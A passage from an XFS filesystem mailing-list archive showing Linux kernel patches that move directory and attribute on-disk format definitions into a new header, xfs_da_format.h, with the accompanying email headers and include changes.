b/fs/xfs/xfs_fsops.c @@ -18,6 +18,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_types.h" +#include "xfs_format.h" #include "xfs_log.h" #include "xfs_trans.h" #include "xfs_sb.h" diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index ccf2fb1..d565adf 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -18,6 +18,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_types.h" +#include "xfs_format.h" #include "xfs_bit.h" #include "xfs_log.h" #include "xfs_inum.h" diff --git a/fs/xfs/xfs_ialloc.h b/fs/xfs/xfs_ialloc.h index 68c0732..1557798 100644 --- a/fs/xfs/xfs_ialloc.h +++ b/fs/xfs/xfs_ialloc.h @@ -158,6 +158,4 @@ int xfs_ialloc_inode_init(struct xfs_mount *mp, struct xfs_trans *tp, xfs_agnumber_t agno, xfs_agblock_t agbno, xfs_agblock_t length, unsigned int gen); -extern const struct xfs_buf_ops xfs_agi_buf_ops; - #endif /* __XFS_IALLOC_H__ */ diff --git a/fs/xfs/xfs_ialloc_btree.h b/fs/xfs/xfs_ialloc_btree.h index 3ac36b76..cfbfe46 100644 --- a/fs/xfs/xfs_ialloc_btree.h +++ b/fs/xfs/xfs_ialloc_btree.h @@ -110,6 +110,4 @@ extern struct xfs_btree_cur *xfs_inobt_init_cursor(struct xfs_mount *, struct xfs_trans *, struct xfs_buf *, xfs_agnumber_t); extern int xfs_inobt_maxrecs(struct xfs_mount *, int, int); -extern const struct xfs_buf_ops xfs_inobt_buf_ops; - #endif /* __XFS_IALLOC_BTREE_H__ */ diff --git a/fs/xfs/xfs_inode_buf.h b/fs/xfs/xfs_inode_buf.h index abba0ae..9308c47 100644 --- a/fs/xfs/xfs_inode_buf.h +++ b/fs/xfs/xfs_inode_buf.h @@ -47,7 +47,4 @@ void xfs_inobp_check(struct xfs_mount *, struct xfs_buf *); #define xfs_inobp_check(mp, bp) #endif /* DEBUG */ -extern const struct xfs_buf_ops xfs_inode_buf_ops; -extern const struct xfs_buf_ops xfs_inode_buf_ra_ops; - #endif /* __XFS_INODE_BUF_H__ */ diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c index 084b3e1..1399163 100644 --- a/fs/xfs/xfs_itable.c +++ b/fs/xfs/xfs_itable.c @@ -18,6 +18,7 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_types.h" +#include "xfs_format.h" #include "xfs_log.h" #include "xfs_inum.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_quota.h b/fs/xfs/xfs_quota.h index e7d84d2..84661d4 100644 --- a/fs/xfs/xfs_quota.h +++ b/fs/xfs/xfs_quota.h @@ -154,6 +154,4 @@ extern int xfs_qm_dqcheck(struct xfs_mount *, xfs_disk_dquot_t *, xfs_dqid_t, uint, uint, char *); extern int xfs_mount_reset_sbqflags(struct xfs_mount *); -extern const struct xfs_buf_ops xfs_dquot_buf_ops; - #endif /* __XFS_QUOTA_H__ */ diff --git a/fs/xfs/xfs_sb.h b/fs/xfs/xfs_sb.h index 6835b44..35061d4 100644 --- a/fs/xfs/xfs_sb.h +++ b/fs/xfs/xfs_sb.h @@ -699,7 +699,4 @@ extern void xfs_sb_from_disk(struct xfs_sb *, struct xfs_dsb *); extern void xfs_sb_to_disk(struct xfs_dsb *, struct xfs_sb *, __int64_t); extern void xfs_sb_quota_from_disk(struct xfs_sb *sbp); -extern const struct xfs_buf_ops xfs_sb_buf_ops; -extern const struct xfs_buf_ops xfs_sb_quiet_buf_ops; - #endif /* __XFS_SB_H__ */ -- 1.8.3.2 From dave@fromorbit.com Thu Sep 5 06:53:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 668B47F66 for ; Thu, 5 Sep 2013 06:53:57 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3BAAB304048 for ; Thu, 5 Sep 2013 04:53:53 -0700 (PDT) X-ASG-Debug-ID: 1378382021-04cb6c153dd6c290003-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id AIK8V3fgD16hPhRE for ; Thu, 05 Sep 2013 04:53:46 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnkIALlvKFJ5LJ62/2dsb2JhbABRCoMHrlSVIBd0giQBAQUaAQwvMwgYMTkDGxmIAbpOjhYHBQuFVwOpW4MyKoEt Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 05 Sep 2013 21:23:40 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHY81-0001DC-C8 for xfs@oss.sgi.com; Thu, 05 Sep 2013 21:53:37 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHY81-0004BM-B0 for xfs@oss.sgi.com; Thu, 05 Sep 2013 21:53:37 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 2/3] xfs: unify directory/attribute format definitions Date: Thu, 5 Sep 2013 21:53:34 +1000 X-ASG-Orig-Subj: [PATCH 2/3] xfs: unify directory/attribute format definitions Message-Id: <1378382015-16026-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378382015-16026-1-git-send-email-david@fromorbit.com> References: <1378382015-16026-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378382026 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140362 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The on-disk format definitions for the directory and attribute structures are spread across 3 header files right now, only one of which is dedicated to defining on-disk structures and their manipulation (xfs_dir2_format.h). Pull all the format definitions into a single header file - xfs_da_format.h - and switch all the code over to point at that. Signed-off-by: Dave Chinner --- fs/xfs/xfs_attr.c | 1 + fs/xfs/xfs_attr_inactive.c | 1 + fs/xfs/xfs_attr_leaf.c | 1 + fs/xfs/xfs_attr_leaf.h | 230 -------- fs/xfs/xfs_attr_list.c | 1 + fs/xfs/xfs_attr_remote.c | 1 + fs/xfs/xfs_attr_remote.h | 27 - fs/xfs/xfs_bmap.c | 2 +- fs/xfs/xfs_bmap_util.c | 2 +- fs/xfs/xfs_da_btree.c | 2 +- fs/xfs/xfs_da_btree.h | 140 ----- fs/xfs/xfs_da_format.h | 1373 ++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_dir2.c | 2 +- fs/xfs/xfs_dir2_block.c | 2 +- fs/xfs/xfs_dir2_data.c | 2 +- fs/xfs/xfs_dir2_format.h | 975 ------------------------------- fs/xfs/xfs_dir2_leaf.c | 2 +- fs/xfs/xfs_dir2_node.c | 2 +- fs/xfs/xfs_dir2_readdir.c | 2 +- fs/xfs/xfs_dir2_sf.c | 2 +- fs/xfs/xfs_export.c | 3 +- fs/xfs/xfs_file.c | 4 +- fs/xfs/xfs_inode.c | 2 +- fs/xfs/xfs_iops.c | 2 +- fs/xfs/xfs_log_recover.c | 2 +- fs/xfs/xfs_log_rlimit.c | 1 + fs/xfs/xfs_mount.c | 3 +- fs/xfs/xfs_sb.c | 2 +- fs/xfs/xfs_super.c | 2 +- fs/xfs/xfs_symlink.c | 3 +- fs/xfs/xfs_trace.c | 3 +- fs/xfs/xfs_trans.c | 2 +- fs/xfs/xfs_trans_resv.c | 1 + fs/xfs/xfs_xattr.c | 7 +- 34 files changed, 1409 insertions(+), 1398 deletions(-) create mode 100644 fs/xfs/xfs_da_format.h delete mode 100644 fs/xfs/xfs_dir2_format.h diff --git a/fs/xfs/xfs_attr.c b/fs/xfs/xfs_attr.c index ddcf226..63430c2 100644 --- a/fs/xfs/xfs_attr.c +++ b/fs/xfs/xfs_attr.c @@ -25,6 +25,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_attr_sf.h" diff --git a/fs/xfs/xfs_attr_inactive.c b/fs/xfs/xfs_attr_inactive.c index bb24b07..e1749bd 100644 --- a/fs/xfs/xfs_attr_inactive.c +++ b/fs/xfs/xfs_attr_inactive.c @@ -25,6 +25,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" diff --git a/fs/xfs/xfs_attr_leaf.c b/fs/xfs/xfs_attr_leaf.c index 86db20a..94838fe 100644 --- a/fs/xfs/xfs_attr_leaf.c +++ b/fs/xfs/xfs_attr_leaf.c @@ -26,6 +26,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" diff --git a/fs/xfs/xfs_attr_leaf.h b/fs/xfs/xfs_attr_leaf.h index da34e64..3ec5ec0 100644 --- a/fs/xfs/xfs_attr_leaf.h +++ b/fs/xfs/xfs_attr_leaf.h @@ -19,16 +19,6 @@ #ifndef __XFS_ATTR_LEAF_H__ #define __XFS_ATTR_LEAF_H__ -/* - * Attribute storage layout, internal structure, access macros, etc. - * - * Attribute lists are structured around Btrees where all the data - * elements are in the leaf nodes. Attribute names are hashed into an int, - * then that int is used as the index into the Btree. Since the hashval - * of an attribute name may not be unique, we may have duplicate keys. The - * internal links in the Btree are logical block offsets into the file. - */ - struct attrlist; struct attrlist_cursor_kern; struct xfs_attr_list_context; @@ -38,226 +28,6 @@ struct xfs_da_state_blk; struct xfs_inode; struct xfs_trans; -/*======================================================================== - * Attribute structure when equal to XFS_LBSIZE(mp) bytes. - *========================================================================*/ - -/* - * This is the structure of the leaf nodes in the Btree. - * - * Struct leaf_entry's are packed from the top. Name/values grow from the - * bottom but are not packed. The freemap contains run-length-encoded entries - * for the free bytes after the leaf_entry's, but only the N largest such, - * smaller runs are dropped. When the freemap doesn't show enough space - * for an allocation, we compact the name/value area and try again. If we - * still don't have enough space, then we have to split the block. The - * name/value structs (both local and remote versions) must be 32bit aligned. - * - * Since we have duplicate hash keys, for each key that matches, compare - * the actual name string. The root and intermediate node search always - * takes the first-in-the-block key match found, so we should only have - * to work "forw"ard. If none matches, continue with the "forw"ard leaf - * nodes until the hash key changes or the attribute name is found. - * - * We store the fact that an attribute is a ROOT/USER/SECURE attribute in - * the leaf_entry. The namespaces are independent only because we also look - * at the namespace bit when we are looking for a matching attribute name. - * - * We also store an "incomplete" bit in the leaf_entry. It shows that an - * attribute is in the middle of being created and should not be shown to - * the user if we crash during the time that the bit is set. We clear the - * bit when we have finished setting up the attribute. We do this because - * we cannot create some large attributes inside a single transaction, and we - * need some indication that we weren't finished if we crash in the middle. - */ -#define XFS_ATTR_LEAF_MAPSIZE 3 /* how many freespace slots */ - -typedef struct xfs_attr_leaf_map { /* RLE map of free bytes */ - __be16 base; /* base of free region */ - __be16 size; /* length of free region */ -} xfs_attr_leaf_map_t; - -typedef struct xfs_attr_leaf_hdr { /* constant-structure header block */ - xfs_da_blkinfo_t info; /* block type, links, etc. */ - __be16 count; /* count of active leaf_entry's */ - __be16 usedbytes; /* num bytes of names/values stored */ - __be16 firstused; /* first used byte in name area */ - __u8 holes; /* != 0 if blk needs compaction */ - __u8 pad1; - xfs_attr_leaf_map_t freemap[XFS_ATTR_LEAF_MAPSIZE]; - /* N largest free regions */ -} xfs_attr_leaf_hdr_t; - -typedef struct xfs_attr_leaf_entry { /* sorted on key, not name */ - __be32 hashval; /* hash value of name */ - __be16 nameidx; /* index into buffer of name/value */ - __u8 flags; /* LOCAL/ROOT/SECURE/INCOMPLETE flag */ - __u8 pad2; /* unused pad byte */ -} xfs_attr_leaf_entry_t; - -typedef struct xfs_attr_leaf_name_local { - __be16 valuelen; /* number of bytes in value */ - __u8 namelen; /* length of name bytes */ - __u8 nameval[1]; /* name/value bytes */ -} xfs_attr_leaf_name_local_t; - -typedef struct xfs_attr_leaf_name_remote { - __be32 valueblk; /* block number of value bytes */ - __be32 valuelen; /* number of bytes in value */ - __u8 namelen; /* length of name bytes */ - __u8 name[1]; /* name bytes */ -} xfs_attr_leaf_name_remote_t; - -typedef struct xfs_attr_leafblock { - xfs_attr_leaf_hdr_t hdr; /* constant-structure header block */ - xfs_attr_leaf_entry_t entries[1]; /* sorted on key, not name */ - xfs_attr_leaf_name_local_t namelist; /* grows from bottom of buf */ - xfs_attr_leaf_name_remote_t valuelist; /* grows from bottom of buf */ -} xfs_attr_leafblock_t; - -/* - * CRC enabled leaf structures. Called "version 3" structures to match the - * version number of the directory and dablk structures for this feature, and - * attr2 is already taken by the variable inode attribute fork size feature. - */ -struct xfs_attr3_leaf_hdr { - struct xfs_da3_blkinfo info; - __be16 count; - __be16 usedbytes; - __be16 firstused; - __u8 holes; - __u8 pad1; - struct xfs_attr_leaf_map freemap[XFS_ATTR_LEAF_MAPSIZE]; - __be32 pad2; /* 64 bit alignment */ -}; - -#define XFS_ATTR3_LEAF_CRC_OFF (offsetof(struct xfs_attr3_leaf_hdr, info.crc)) - -struct xfs_attr3_leafblock { - struct xfs_attr3_leaf_hdr hdr; - struct xfs_attr_leaf_entry entries[1]; - - /* - * The rest of the block contains the following structures after the - * leaf entries, growing from the bottom up. The variables are never - * referenced, the locations accessed purely from helper functions. - * - * struct xfs_attr_leaf_name_local - * struct xfs_attr_leaf_name_remote - */ -}; - -/* - * incore, neutral version of the attribute leaf header - */ -struct xfs_attr3_icleaf_hdr { - __uint32_t forw; - __uint32_t back; - __uint16_t magic; - __uint16_t count; - __uint16_t usedbytes; - __uint16_t firstused; - __u8 holes; - struct { - __uint16_t base; - __uint16_t size; - } freemap[XFS_ATTR_LEAF_MAPSIZE]; -}; - -/* - * Flags used in the leaf_entry[i].flags field. - * NOTE: the INCOMPLETE bit must not collide with the flags bits specified - * on the system call, they are "or"ed together for various operations. - */ -#define XFS_ATTR_LOCAL_BIT 0 /* attr is stored locally */ -#define XFS_ATTR_ROOT_BIT 1 /* limit access to trusted attrs */ -#define XFS_ATTR_SECURE_BIT 2 /* limit access to secure attrs */ -#define XFS_ATTR_INCOMPLETE_BIT 7 /* attr in middle of create/delete */ -#define XFS_ATTR_LOCAL (1 << XFS_ATTR_LOCAL_BIT) -#define XFS_ATTR_ROOT (1 << XFS_ATTR_ROOT_BIT) -#define XFS_ATTR_SECURE (1 << XFS_ATTR_SECURE_BIT) -#define XFS_ATTR_INCOMPLETE (1 << XFS_ATTR_INCOMPLETE_BIT) - -/* - * Conversion macros for converting namespace bits from argument flags - * to ondisk flags. - */ -#define XFS_ATTR_NSP_ARGS_MASK (ATTR_ROOT | ATTR_SECURE) -#define XFS_ATTR_NSP_ONDISK_MASK (XFS_ATTR_ROOT | XFS_ATTR_SECURE) -#define XFS_ATTR_NSP_ONDISK(flags) ((flags) & XFS_ATTR_NSP_ONDISK_MASK) -#define XFS_ATTR_NSP_ARGS(flags) ((flags) & XFS_ATTR_NSP_ARGS_MASK) -#define XFS_ATTR_NSP_ARGS_TO_ONDISK(x) (((x) & ATTR_ROOT ? XFS_ATTR_ROOT : 0) |\ - ((x) & ATTR_SECURE ? XFS_ATTR_SECURE : 0)) -#define XFS_ATTR_NSP_ONDISK_TO_ARGS(x) (((x) & XFS_ATTR_ROOT ? ATTR_ROOT : 0) |\ - ((x) & XFS_ATTR_SECURE ? ATTR_SECURE : 0)) - -/* - * Alignment for namelist and valuelist entries (since they are mixed - * there can be only one alignment value) - */ -#define XFS_ATTR_LEAF_NAME_ALIGN ((uint)sizeof(xfs_dablk_t)) - -static inline int -xfs_attr3_leaf_hdr_size(struct xfs_attr_leafblock *leafp) -{ - if (leafp->hdr.info.magic == cpu_to_be16(XFS_ATTR3_LEAF_MAGIC)) - return sizeof(struct xfs_attr3_leaf_hdr); - return sizeof(struct xfs_attr_leaf_hdr); -} - -static inline struct xfs_attr_leaf_entry * -xfs_attr3_leaf_entryp(xfs_attr_leafblock_t *leafp) -{ - if (leafp->hdr.info.magic == cpu_to_be16(XFS_ATTR3_LEAF_MAGIC)) - return &((struct xfs_attr3_leafblock *)leafp)->entries[0]; - return &leafp->entries[0]; -} - -/* - * Cast typed pointers for "local" and "remote" name/value structs. - */ -static inline char * -xfs_attr3_leaf_name(xfs_attr_leafblock_t *leafp, int idx) -{ - struct xfs_attr_leaf_entry *entries = xfs_attr3_leaf_entryp(leafp); - - return &((char *)leafp)[be16_to_cpu(entries[idx].nameidx)]; -} - -static inline xfs_attr_leaf_name_remote_t * -xfs_attr3_leaf_name_remote(xfs_attr_leafblock_t *leafp, int idx) -{ - return (xfs_attr_leaf_name_remote_t *)xfs_attr3_leaf_name(leafp, idx); -} - -static inline xfs_attr_leaf_name_local_t * -xfs_attr3_leaf_name_local(xfs_attr_leafblock_t *leafp, int idx) -{ - return (xfs_attr_leaf_name_local_t *)xfs_attr3_leaf_name(leafp, idx); -} - -/* - * Calculate total bytes used (including trailing pad for alignment) for - * a "local" name/value structure, a "remote" name/value structure, and - * a pointer which might be either. - */ -static inline int xfs_attr_leaf_entsize_remote(int nlen) -{ - return ((uint)sizeof(xfs_attr_leaf_name_remote_t) - 1 + (nlen) + \ - XFS_ATTR_LEAF_NAME_ALIGN - 1) & ~(XFS_ATTR_LEAF_NAME_ALIGN - 1); -} - -static inline int xfs_attr_leaf_entsize_local(int nlen, int vlen) -{ - return ((uint)sizeof(xfs_attr_leaf_name_local_t) - 1 + (nlen) + (vlen) + - XFS_ATTR_LEAF_NAME_ALIGN - 1) & ~(XFS_ATTR_LEAF_NAME_ALIGN - 1); -} - -static inline int xfs_attr_leaf_entsize_local_max(int bsize) -{ - return (((bsize) >> 1) + ((bsize) >> 2)); -} - /* * Used to keep a list of "remote value" extents when unlinking an inode. */ diff --git a/fs/xfs/xfs_attr_list.c b/fs/xfs/xfs_attr_list.c index cbc80d4..8ba8e4b 100644 --- a/fs/xfs/xfs_attr_list.c +++ b/fs/xfs/xfs_attr_list.c @@ -25,6 +25,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" diff --git a/fs/xfs/xfs_attr_remote.c b/fs/xfs/xfs_attr_remote.c index 712a502..578f21b 100644 --- a/fs/xfs/xfs_attr_remote.c +++ b/fs/xfs/xfs_attr_remote.c @@ -26,6 +26,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_error.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" diff --git a/fs/xfs/xfs_attr_remote.h b/fs/xfs/xfs_attr_remote.h index b3e1e1b..5a9acfa 100644 --- a/fs/xfs/xfs_attr_remote.h +++ b/fs/xfs/xfs_attr_remote.h @@ -18,33 +18,6 @@ #ifndef __XFS_ATTR_REMOTE_H__ #define __XFS_ATTR_REMOTE_H__ -#define XFS_ATTR3_RMT_MAGIC 0x5841524d /* XARM */ - -/* - * There is one of these headers per filesystem block in a remote attribute. - * This is done to ensure there is a 1:1 mapping between the attribute value - * length and the number of blocks needed to store the attribute. This makes the - * verification of a buffer a little more complex, but greatly simplifies the - * allocation, reading and writing of these attributes as we don't have to guess - * the number of blocks needed to store the attribute data. - */ -struct xfs_attr3_rmt_hdr { - __be32 rm_magic; - __be32 rm_offset; - __be32 rm_bytes; - __be32 rm_crc; - uuid_t rm_uuid; - __be64 rm_owner; - __be64 rm_blkno; - __be64 rm_lsn; -}; - -#define XFS_ATTR3_RMT_CRC_OFF offsetof(struct xfs_attr3_rmt_hdr, rm_crc) - -#define XFS_ATTR3_RMT_BUF_SPACE(mp, bufsize) \ - ((bufsize) - (xfs_sb_version_hascrc(&(mp)->m_sb) ? \ - sizeof(struct xfs_attr3_rmt_hdr) : 0)) - int xfs_attr3_rmt_blocks(struct xfs_mount *mp, int attrlen); int xfs_attr_rmtval_get(struct xfs_da_args *args); diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index f47e65c..d4c035f 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -25,8 +25,8 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index 97f952c..2b865b9 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -26,7 +26,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_da_btree.h" +#include "xfs_da_format.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" #include "xfs_ialloc_btree.h" diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c index 459e9d9..37380e2 100644 --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -26,9 +26,9 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_dinode.h" diff --git a/fs/xfs/xfs_da_btree.h b/fs/xfs/xfs_da_btree.h index a762cfa..e492dca 100644 --- a/fs/xfs/xfs_da_btree.h +++ b/fs/xfs/xfs_da_btree.h @@ -25,146 +25,6 @@ struct xfs_trans; struct zone; /*======================================================================== - * Directory Structure when greater than XFS_LBSIZE(mp) bytes. - *========================================================================*/ - -/* - * This structure is common to both leaf nodes and non-leaf nodes in the Btree. - * - * It is used to manage a doubly linked list of all blocks at the same - * level in the Btree, and to identify which type of block this is. - */ -#define XFS_DA_NODE_MAGIC 0xfebe /* magic number: non-leaf blocks */ -#define XFS_ATTR_LEAF_MAGIC 0xfbee /* magic number: attribute leaf blks */ -#define XFS_DIR2_LEAF1_MAGIC 0xd2f1 /* magic number: v2 dirlf single blks */ -#define XFS_DIR2_LEAFN_MAGIC 0xd2ff /* magic number: v2 dirlf multi blks */ - -typedef struct xfs_da_blkinfo { - __be32 forw; /* previous block in list */ - __be32 back; /* following block in list */ - __be16 magic; /* validity check on block */ - __be16 pad; /* unused */ -} xfs_da_blkinfo_t; - -/* - * CRC enabled directory structure types - * - * The headers change size for the additional verification information, but - * otherwise the tree layouts and contents are unchanged. Hence the da btree - * code can use the struct xfs_da_blkinfo for manipulating the tree links and - * magic numbers without modification for both v2 and v3 nodes. - */ -#define XFS_DA3_NODE_MAGIC 0x3ebe /* magic number: non-leaf blocks */ -#define XFS_ATTR3_LEAF_MAGIC 0x3bee /* magic number: attribute leaf blks */ -#define XFS_DIR3_LEAF1_MAGIC 0x3df1 /* magic number: v2 dirlf single blks */ -#define XFS_DIR3_LEAFN_MAGIC 0x3dff /* magic number: v2 dirlf multi blks */ - -struct xfs_da3_blkinfo { - /* - * the node link manipulation code relies on the fact that the first - * element of this structure is the struct xfs_da_blkinfo so it can - * ignore the differences in the rest of the structures. - */ - struct xfs_da_blkinfo hdr; - __be32 crc; /* CRC of block */ - __be64 blkno; /* first block of the buffer */ - __be64 lsn; /* sequence number of last write */ - uuid_t uuid; /* filesystem we belong to */ - __be64 owner; /* inode that owns the block */ -}; - -/* - * This is the structure of the root and intermediate nodes in the Btree. - * The leaf nodes are defined above. - * - * Entries are not packed. - * - * Since we have duplicate keys, use a binary search but always follow - * all match in the block, not just the first match found. - */ -#define XFS_DA_NODE_MAXDEPTH 5 /* max depth of Btree */ - -typedef struct xfs_da_node_hdr { - struct xfs_da_blkinfo info; /* block type, links, etc. */ - __be16 __count; /* count of active entries */ - __be16 __level; /* level above leaves (leaf == 0) */ -} xfs_da_node_hdr_t; - -struct xfs_da3_node_hdr { - struct xfs_da3_blkinfo info; /* block type, links, etc. */ - __be16 __count; /* count of active entries */ - __be16 __level; /* level above leaves (leaf == 0) */ - __be32 __pad32; -}; - -#define XFS_DA3_NODE_CRC_OFF (offsetof(struct xfs_da3_node_hdr, info.crc)) - -typedef struct xfs_da_node_entry { - __be32 hashval; /* hash value for this descendant */ - __be32 before; /* Btree block before this key */ -} xfs_da_node_entry_t; - -typedef struct xfs_da_intnode { - struct xfs_da_node_hdr hdr; - struct xfs_da_node_entry __btree[]; -} xfs_da_intnode_t; - -struct xfs_da3_intnode { - struct xfs_da3_node_hdr hdr; - struct xfs_da_node_entry __btree[]; -}; - -/* - * In-core version of the node header to abstract the differences in the v2 and - * v3 disk format of the headers. Callers need to convert to/from disk format as - * appropriate. - */ -struct xfs_da3_icnode_hdr { - __uint32_t forw; - __uint32_t back; - __uint16_t magic; - __uint16_t count; - __uint16_t level; -}; - -extern void xfs_da3_node_hdr_from_disk(struct xfs_da3_icnode_hdr *to, - struct xfs_da_intnode *from); -extern void xfs_da3_node_hdr_to_disk(struct xfs_da_intnode *to, - struct xfs_da3_icnode_hdr *from); - -static inline int -__xfs_da3_node_hdr_size(bool v3) -{ - if (v3) - return sizeof(struct xfs_da3_node_hdr); - return sizeof(struct xfs_da_node_hdr); -} -static inline int -xfs_da3_node_hdr_size(struct xfs_da_intnode *dap) -{ - bool v3 = dap->hdr.info.magic == cpu_to_be16(XFS_DA3_NODE_MAGIC); - - return __xfs_da3_node_hdr_size(v3); -} - -static inline struct xfs_da_node_entry * -xfs_da3_node_tree_p(struct xfs_da_intnode *dap) -{ - if (dap->hdr.info.magic == cpu_to_be16(XFS_DA3_NODE_MAGIC)) { - struct xfs_da3_intnode *dap3 = (struct xfs_da3_intnode *)dap; - return dap3->__btree; - } - return dap->__btree; -} - -extern void xfs_da3_intnode_from_disk(struct xfs_da3_icnode_hdr *to, - struct xfs_da_intnode *from); -extern void xfs_da3_intnode_to_disk(struct xfs_da_intnode *to, - struct xfs_da3_icnode_hdr *from); - -#define XFS_LBSIZE(mp) (mp)->m_sb.sb_blocksize - -/*======================================================================== * Btree searching and modification structure definitions. *========================================================================*/ diff --git a/fs/xfs/xfs_da_format.h b/fs/xfs/xfs_da_format.h new file mode 100644 index 0000000..e62f671 --- /dev/null +++ b/fs/xfs/xfs_da_format.h @@ -0,0 +1,1373 @@ +/* + * Copyright (c) 2000-2001,2005 Silicon Graphics, Inc. + * Copyright (c) 2013 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_DA_FORMAT_H__ +#define __XFS_DA_FORMAT_H__ + +/*======================================================================== + * Directory Structure when greater than XFS_LBSIZE(mp) bytes. + *========================================================================*/ + +/* + * This structure is common to both leaf nodes and non-leaf nodes in the Btree. + * + * It is used to manage a doubly linked list of all blocks at the same + * level in the Btree, and to identify which type of block this is. + */ +#define XFS_DA_NODE_MAGIC 0xfebe /* magic number: non-leaf blocks */ +#define XFS_ATTR_LEAF_MAGIC 0xfbee /* magic number: attribute leaf blks */ +#define XFS_DIR2_LEAF1_MAGIC 0xd2f1 /* magic number: v2 dirlf single blks */ +#define XFS_DIR2_LEAFN_MAGIC 0xd2ff /* magic number: v2 dirlf multi blks */ + +typedef struct xfs_da_blkinfo { + __be32 forw; /* previous block in list */ + __be32 back; /* following block in list */ + __be16 magic; /* validity check on block */ + __be16 pad; /* unused */ +} xfs_da_blkinfo_t; + +/* + * CRC enabled directory structure types + * + * The headers change size for the additional verification information, but + * otherwise the tree layouts and contents are unchanged. Hence the da btree + * code can use the struct xfs_da_blkinfo for manipulating the tree links and + * magic numbers without modification for both v2 and v3 nodes. + */ +#define XFS_DA3_NODE_MAGIC 0x3ebe /* magic number: non-leaf blocks */ +#define XFS_ATTR3_LEAF_MAGIC 0x3bee /* magic number: attribute leaf blks */ +#define XFS_DIR3_LEAF1_MAGIC 0x3df1 /* magic number: v2 dirlf single blks */ +#define XFS_DIR3_LEAFN_MAGIC 0x3dff /* magic number: v2 dirlf multi blks */ + +struct xfs_da3_blkinfo { + /* + * the node link manipulation code relies on the fact that the first + * 